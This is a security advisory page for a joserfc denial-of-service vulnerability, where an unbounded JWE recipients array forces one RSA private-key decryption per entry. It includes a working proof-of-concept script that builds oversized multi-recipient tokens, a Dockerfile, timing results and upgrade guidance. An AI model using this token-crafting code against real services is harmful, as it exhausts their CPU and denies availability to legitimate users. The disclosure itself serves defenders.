CVE-2026-119283: joserfc: Unbounded JWE General JSON `recipients` Array Leads to CPU Exhaustion (DoS) via Repeated RSA Private-Key Decryption

Published Oct 29, 2026
·
Updated

Summary

joserfc.jwe.decryptjson(), the library's public parser for JWE General JSON Serialization, accepts an attacker-controlled recipients array of unbounded length and performs one full private-key decryption operation (decryptcek) for every recipient present in the input, with no cap on recipient count. An unauthenticated network attacker who can send a JWE General JSON document to any endpoint that decrypts it with an RSA key (e.g. RSA-OAEP) can force the victim to perform an arbitrary, attacker-chosen number of RSA private-key decryption operations from a single, relatively small HTTP request. This gives the attacker a highly asymmetric CPU-exhaustion (Denial of Service) primitive: local reproduction shows request size growing linearly with recipient count (~396 bytes/recipient) while server-side CPU time grows in lock-step (near 1:1 ratio between recipient-count growth and decrypt-time growth), and the library's only documented mitigation knob, verifyallrecipients=False, does not reduce the CPU cost, since the decrypt loop attempts every recipient's decryptcek() unconditionally before that flag is ever consulted. This is CWE-400 (Uncontrolled Resource Consumption) with CVSS v3.1 Base Score 7.5 (High).

Details

joserfc validates and caps several structural elements of a JWE (protected header size, encrypted key size, IV size, ciphertext size, and auth-tag size) inside src/joserfc/rfc7516/registry.py, but performs no validation whatsoever on the number of entries in the recipients array of a JWE General JSON Serialization object.

Data flow (source → sink), verified directly against the repository source at commit 26a10275e88276184f91ae2a6409647bfac7fea5 (joserfc 1.7.4):

1. src/joserfc/jwe.py:214 — public parser entry point decryptjson(data, privatekey, ...). This is a documented, unauthenticated (at the library boundary) API for parsing externally supplied JWE JSON. 2. src/joserfc/jwe.py:238 — if "recipients" is present in the input dict, extractgeneraljson(...) is invoked. 3. src/joserfc/rfc7516/json.py:84-86 — iterates for item in data["recipients"]: and appends a Recipient object for every entry, with no upper bound check on len(data["recipients"]): python for item in data["recipients"]: recipient = extractrecipient(obj, item, registry) obj.recipients.append(recipient) 4. src/joserfc/jwe.py:252 — the private key is attached to every extracted recipient. 5. src/joserfc/rfc7516/message.py:103-112 — performdecrypt() loops over every recipient in obj.recipients and calls decryptrecipient(...) for each one, regardless of how many there are: python cekset = set() for recipient in obj.recipients: headers = recipient.headers() registry.checkheader(headers, True) alg = registry.getalg(headers["alg"]) try: cek = decryptrecipient(alg, enc, recipient, tag) cekset.add(cek) 6. src/joserfc/rfc7518/jwealgs.py:74-83 — for RSA-OAEP/RSA15 recipients, this dispatches to the sink, a genuine RSA private-key operation: python def decryptcek(self, recipient: Recipient[RSAKey]) -> bytes: key = recipient.recipientkey assert key is not None self.checkkeytype(key) opkey = key.getopkey("decrypt") try: assert recipient.encryptedkey is not None cek = opkey.decrypt(recipient.encryptedkey, self.padding)

Confirmed by direct inspection of src/joserfc/rfc7516/registry.py: size caps exist for maxheaderlength, maxencryptedkeylength, maxivlength, maxciphertextlength, and maxauthtaglength (registry.py:52-62, 103-121), but no maxrecipients (or equivalent) field or check exists anywhere in registry.py, json.py, or jwe.py.

Critically, the loop in message.py:103-112 calls decryptrecipient() for every recipient unconditionally — this happens before registry.verifyallrecipients is ever consulted. Setting verifyallrecipients=False (the library's only documented related option) therefore changes whether a decrypt failure raises an exception, but does not reduce the number of RSA private-key operations performed, and thus does not mitigate the CPU cost. This was independently confirmed at runtime (see PoC results below): decrypt time is statistically identical between verifyallrecipients=True and verifyallrecipients=False for the same recipient count.

decryptjson() is not a demo-only or admin-only code path: it is documented in docs/guide/jwe.rst:156-182 as the standard way to parse and decrypt an externally received General JSON JWE, and requires no special/non-default configuration to trigger. This is functionally analogous to two other resource-exhaustion issues already fixed in the same codebase — the PBES2 p2c iteration cap (src/joserfc/rfc7518/jwealgs.py:237-239) and the JWE compression "zip bomb" size cap (src/joserfc/rfc7518/jwezips.py:11,26-28) — indicating the recipient-count case was simply missed from the same class of hardening.

PoC

Both static (Phase 1) and dynamic, containerized (Phase 2) reproduction confirmed the vulnerability against unmodified joserfc 1.7.4 source.

Environment setup (Dockerfile):

dockerfile FROM python:3.12-slim WORKDIR /app Copy the exact repository source under test (unmodified). COPY repo /app/repo Install joserfc from local source in editable/normal mode. RUN pip install --no-cache-dir /app/repo Copy the PoC script. COPY vuln-001/poc.py /app/poc.py ENTRYPOINT ["python3", "/app/poc.py"]

Build and run (source is used unmodified; container has no network access):

bash docker build -t joserfc-vuln001 -f vuln-001/Dockerfile . docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500

PoC logic (poc.py): generates a victim RSA-2048 keypair (representing the RSA key an application would use for RSA-OAEP JWE decryption), crafts a General JSON JWE (GeneralJSONEncryption) wrapping a small plaintext with an attacker-chosen number n of RSA-OAEP recipients (all using the victim's public key, which is inherently public for JWE encryption), then calls the unmodified public API joserfc.jwe.decryptjson() and measures wall-clock decrypt time, once with verifyallrecipients=True and once with verifyallrecipients=False.

python def buildtoken(publickey, nrecipients: int) -> tuple[str, int]: obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello") for in range(nrecipients): obj.addrecipient({"alg": "RSA-OAEP"}, publickey) token = jwe.encryptjson(obj, None) sizebytes = len(json.dumps(token).encode()) return token, sizebytes

def measuredecrypt(token, privatekey, verifyallrecipients: bool) -> float: registry = JWERegistry(verifyallrecipients=verifyallrecipients) t0 = time.perfcounter() out = jwe.decryptjson(token, privatekey, registry=registry) dt = time.perfcounter() - t0 assert out.plaintext == b"hello" return dt

Observed results (Phase 2, inside the Docker container, --network none, unmodified source):

[] Attacker crafts General JSON JWE with recipients=1 ... verifyallrecipients=True -> decryptjson() succeeded, sizebytes=536 decryptseconds=0.002 verifyallrecipients=False -> decryptjson() succeeded, sizebytes=536 decryptseconds=0.001 [] Attacker crafts General JSON JWE with recipients=500 ... verifyallrecipients=True -> decryptjson() succeeded, sizebytes=198140 decryptseconds=0.631 verifyallrecipients=False -> decryptjson() succeeded, sizebytes=198140 decryptseconds=0.651 [] Attacker crafts General JSON JWE with recipients=1500 ... verifyallrecipients=True -> decryptjson() succeeded, sizebytes=594140 decryptseconds=1.874 verifyallrecipients=False -> decryptjson() succeeded, sizebytes=594140 decryptseconds=1.875 [CHECK] recipientcountratio=1500.0x decrypttimeratio=937.0x [PASS] decryptjson() performed one RSA private-key decrypt per attacker-supplied recipient with no upper bound, and verifyallrecipients=False did not mitigate the cost.

Independent static-phase (Phase 1) reproduction against the same commit, outside the container, produced the same linear-scaling behavior (recipients=500 → 198,140 bytes → 0.627s; recipients=1500 → 594,140 bytes → 1.957s), and the original report's own local run showed recipients=1000 → 396,140 bytes → 1.254s; recipients=3000 → 1,188,140 bytes → 3.762s. In every run, plaintext=b'hello' was correctly recovered, confirming each crafted request is fully valid input, not malformed data rejected early.

In all cases, verifyallrecipients=False produced decrypt times statistically identical to verifyallrecipients=True for the same recipient count (e.g. 500 recipients: 0.631s vs 0.651s; 1500 recipients: 1.874s vs 1.875s), empirically confirming that this documented flag does not mitigate the CPU cost.

Impact

This is a remote, unauthenticated CPU-exhaustion Denial-of-Service vulnerability (CWE-400, Uncontrolled Resource Consumption). Any application that:

- exposes an endpoint (or message-processing path) that accepts JWE data in General JSON Serialization form, and - decrypts it using joserfc.jwe.decryptjson() with an RSA-based key-management algorithm (e.g. RSA-OAEP, RSA15)

is impacted. The attacker needs only the victim's RSA public key — which is inherently public, since it is used by legitimate senders to encrypt JWEs to the victim. Because request size scales linearly with recipient count (~396 bytes per recipient) while attacker-inflicted server CPU cost scales in lock-step with recipient count, the attacker gets a highly favorable cost asymmetry: e.g. a ~1.2 MB request forced ~3.8 seconds of RSA-2048 private-key decrypt operations in testing. Repeated or concurrent requests of this shape can exhaust available CPU/worker capacity on the victim service, degrading or denying availability for legitimate users. Confidentiality and integrity are not affected (no key material or plaintext is disclosed or corrupted); the impact is availability only, matching the CVSS vector's C:N/I:N/A:H.

Reproduction artifacts

Dockerfile

dockerfile VULN-001 dynamic reproduction environment Unbounded JWE General JSON "recipients" array causes CPU exhaustion via repeated RSA private-key decryption in joserfc's decryptjson(). This image builds joserfc from the local repository clone (unmodified source) and provides a Python environment to run poc.py against it.

FROM python:3.12-slim

WORKDIR /app

Copy the exact repository source under test (unmodified). COPY repo /app/repo

Install joserfc from local source in editable/normal mode. RUN pip install --no-cache-dir /app/repo

Copy the PoC script. COPY vuln-001/poc.py /app/poc.py

ENTRYPOINT ["python3", "/app/poc.py"]

poc.py

python """ VULN-001 dynamic PoC: Unbounded JWE General JSON "recipients" array causes CPU exhaustion (CWE-400) via repeated RSA private-key decryption inside joserfc's public parser API joserfc.jwe.decryptjson().

Data flow reproduced end to end (unmodified joserfc source): 1. joserfc.jwe.decryptjson() (src/joserfc/jwe.py:214) 2. -> extractgeneraljson() (src/joserfc/rfc7516/json.py:73) 3. -> for item in data["recipients"]: (NO COUNT CAP) (src/joserfc/rfc7516/json.py:84) 4. -> performdecrypt() -> performdecrypt() (src/joserfc/rfc7516/message.py:93-112) 5. -> for recipient in obj.recipients: decryptrecipient(...) for EVERY recipient, regardless of registry.verifyallrecipients 6. -> RSAAlgModel.decryptcek(): opkey.decrypt(...) (src/joserfc/rfc7518/jwealgs.py:74-83) performs one real RSA-2048 private-key decrypt operation per recipient.

This script: (a) builds a victim RSA keypair (2048-bit, as an application would use for RSA-OAEP JWE decryption), (b) crafts a General JSON JWE token with an attacker-chosen number of RSA-OAEP recipients, all wrapping the SAME small ciphertext, (c) measures wall-clock CPU time joserfc's unmodified decryptjson() spends processing the token as the recipient count grows, (d) shows that setting verifyallrecipients=False (the only public mitigation knob mentioned in the docs) does NOT reduce the CPU cost, because the decrypt loop in message.py always attempts every recipient's decryptcek() before that flag is ever consulted.

Deterministic PASS criteria (printed as machine-readable JSON lines): - decryptjson() succeeds (returns correct plaintext) for all recipient counts. - decryptseconds scales roughly linearly with recipient count (attacker control over victim CPU cost, unbounded by the library). - decryptseconds for verifyallrecipients=False is statistically the same order of magnitude as verifyallrecipients=True for the same recipient count (proving the documented mitigation does not help). """

import argparse import json import time

from joserfc import jwe, jwk from joserfc.jwe import GeneralJSONEncryption from joserfc.jwe import JWERegistry

def buildtoken(publickey, nrecipients: int) -> tuple[str, int]: """Craft a General JSON JWE with nrecipients RSA-OAEP recipients, all wrapping the same small plaintext. This is exactly the shape an unauthenticated network attacker can send to any endpoint that calls jwe.decryptjson() on external input, as documented in docs/guide/jwe.rst.""" obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello") for in range(nrecipients): obj.addrecipient({"alg": "RSA-OAEP"}, publickey) token = jwe.encryptjson(obj, None) sizebytes = len(json.dumps(token).encode()) return token, sizebytes

def measuredecrypt(token, privatekey, verifyallrecipients: bool) -> float: registry = JWERegistry(verifyallrecipients=verifyallrecipients) t0 = time.perfcounter() out = jwe.decryptjson(token, privatekey, registry=registry) dt = time.perfcounter() - t0 assert out.plaintext == b"hello", f"unexpected plaintext: {out.plaintext!r}" return dt

def main(): parser = argparse.ArgumentParser(description="VULN-001 dynamic reproduction PoC") parser.addargument( "--recipients", type=int, nargs="+", default=[1, 500, 1500], help="Recipient counts to test (attacker-controlled array length).", ) parser.addargument( "--key-bits", type=int, default=2048, help="RSA key size of the victim's decryption key.", ) args = parser.parseargs()

print(f"[] Generating victim RSA-{args.keybits} keypair (RSA-OAEP JWE key)...") privatekey = jwk.RSAKey.generatekey(args.keybits) publickey = jwk.RSAKey.importkey(privatekey.asdict(private=False)) print("[] Victim private key generated locally; public key is what an attacker would normally have.")

results = [] for n in args.recipients: print(f"\n[] Attacker crafts General JSON JWE with recipients={n} ...") token, sizebytes = buildtoken(publickey, n)

dtverifytrue = measuredecrypt(token, privatekey, verifyallrecipients=True) print( f" verifyallrecipients=True -> decryptjson() succeeded, " f"sizebytes={sizebytes} decryptseconds={dtverifytrue:.3f}" )

dtverifyfalse = measuredecrypt(token, privatekey, verifyallrecipients=False) print( f" verifyallrecipients=False -> decryptjson() succeeded, " f"sizebytes={sizebytes} decryptseconds={dtverifyfalse:.3f} " f"(documented 'mitigation' does NOT reduce CPU cost)" )

results.append( { "recipients": n, "sizebytes": sizebytes, "decryptsecondsverifyalltrue": round(dtverifytrue, 3), "decryptsecondsverifyallfalse": round(dtverifyfalse, 3), } )

print("\n[RESULTJSON] " + json.dumps(results))

# Deterministic scaling check: CPU time for the largest recipient count # must be substantially larger (order of magnitude, not noise) than for # the smallest, proving attacker control over victim CPU consumption. baseline = results[0]["decryptsecondsverifyalltrue"] worst = results[-1]["decryptsecondsverifyalltrue"] ratio = worst / baseline if baseline > 0 else float("inf") recipientratio = results[-1]["recipients"] / results[0]["recipients"] print( f"[CHECK] recipientcountratio={recipientratio:.1f}x " f"decrypttimeratio={ratio:.1f}x " f"(unbounded recipients => unbounded RSA-decrypt CPU cost, no cap in registry.py)" )

if ratio < recipientratio 0.3: print("[FAIL] Decrypt time did not scale with recipient count as expected.") raise SystemExit(1)

print("[PASS] decryptjson() performed one RSA private-key decrypt per attacker-supplied " "recipient with no upper bound, and verifyallrecipients=False did not mitigate the cost.")

if name == "main": main()

Other sources

joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.5, joserfc.jwe.decryptjson() accepts a JWE General JSON Serialization recipients array without a count limit and calls decryptcek() for every entry. An unauthenticated attacker who can submit a JWE to an endpoint using an RSA key-management algorithm can choose the number of private-key decryption operations performed by one request. The verifyallrecipients option does not reduce this work because the affected loop processes every recipient before consulting that setting, allowing repeated requests to exhaust service CPU without affecting confidentiality or integrity. This issue is fixed in version 1.7.5.

— NVD

Affected Software

6 affected componentsFixes available
debian/joserfc*
debian/joserfc<1.7.5-1
1.7.5-1
debian/joserfc<=1.1.0-1
1.7.7-1
pip/joserfc<1.7.5
1.7.5
ubuntu/joserfc*
ubuntu/joserfc*

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade debian/joserfc to a version that resolves this vulnerability.

    Fixed in 1.7.5-1
  2. Upgrade

    Upgrade debian/joserfc to a version that resolves this vulnerability.

    Fixed in 1.7.7-1
  3. Upgrade

    Upgrade pip/joserfc to a version that resolves this vulnerability.

    Fixed in 1.7.5
  4. Upgrade

    Upgrade joserfc to a version that resolves this vulnerability.

    Fixed in 1.7.5

Frequently Asked Questions

1

Which deployments are exposed to this denial-of-service condition?

Deployments are exposed when they accept attacker-controlled JWE General JSON documents and pass them to joserfc.jwe.decrypt_json() using an RSA private key, such as RSA-OAEP. An unauthenticated network attacker can trigger the issue at endpoints that perform this decryption.

2

Does setting verify_all_recipients=False mitigate the CPU cost?

No. decrypt_json() attempts decrypt_cek() for every supplied recipient before verify_all_recipients is consulted, so this setting does not reduce the number of RSA private-key decryptions.

3

What makes exploitation resource-intensive for the target?

A single relatively small request can contain an attacker-chosen number of recipients. Request size grows by roughly 396 bytes per recipient, while server CPU work grows with the number of RSA private-key decryption operations.

4

What remediation information is available?

The referenced joserfc 1.7.5 release and commit d6dc8df6c7609277e741069d3733e43996c1cd17 are associated with this issue. The provided data does not specify package versions affected or additional temporary mitigations.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203